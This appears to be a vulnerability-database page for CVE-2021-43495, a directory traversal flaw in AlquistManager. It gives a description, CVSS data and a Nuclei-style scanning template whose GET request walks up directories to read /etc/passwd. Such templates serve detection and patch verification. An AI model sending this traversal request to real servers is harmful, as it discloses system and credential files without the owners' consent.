CVE-2021-43495: AlquistManager Local File Inclusion

2025-08-01 AlquistManager PoC Public

Description

AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.

PoC

id: CVE-2021-43495

info:
  name: AlquistManager Local File Inclusion
  author: pikpikcu
  severity: high
  description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.
  remediation: |
    Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
  reference:
    - https://github.com/AlquistManager/alquist/issues/43
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43495
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43495
    cwe-id: CWE-22
    epss-score: 0.09193
    epss-percentile: 0.95214
    cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alquistai
    product: alquist
  tags: cve2021,cve,lfi,alquist,alquistai,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/asd/../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100d306cf1fd8c171df5820c30e3a4efe4856f529b55f320eaba0d1c90db96c844902205b6a0cc52f64ee16d0f2ddbde72d743431caba9714ca29c7ae933cb087c20682:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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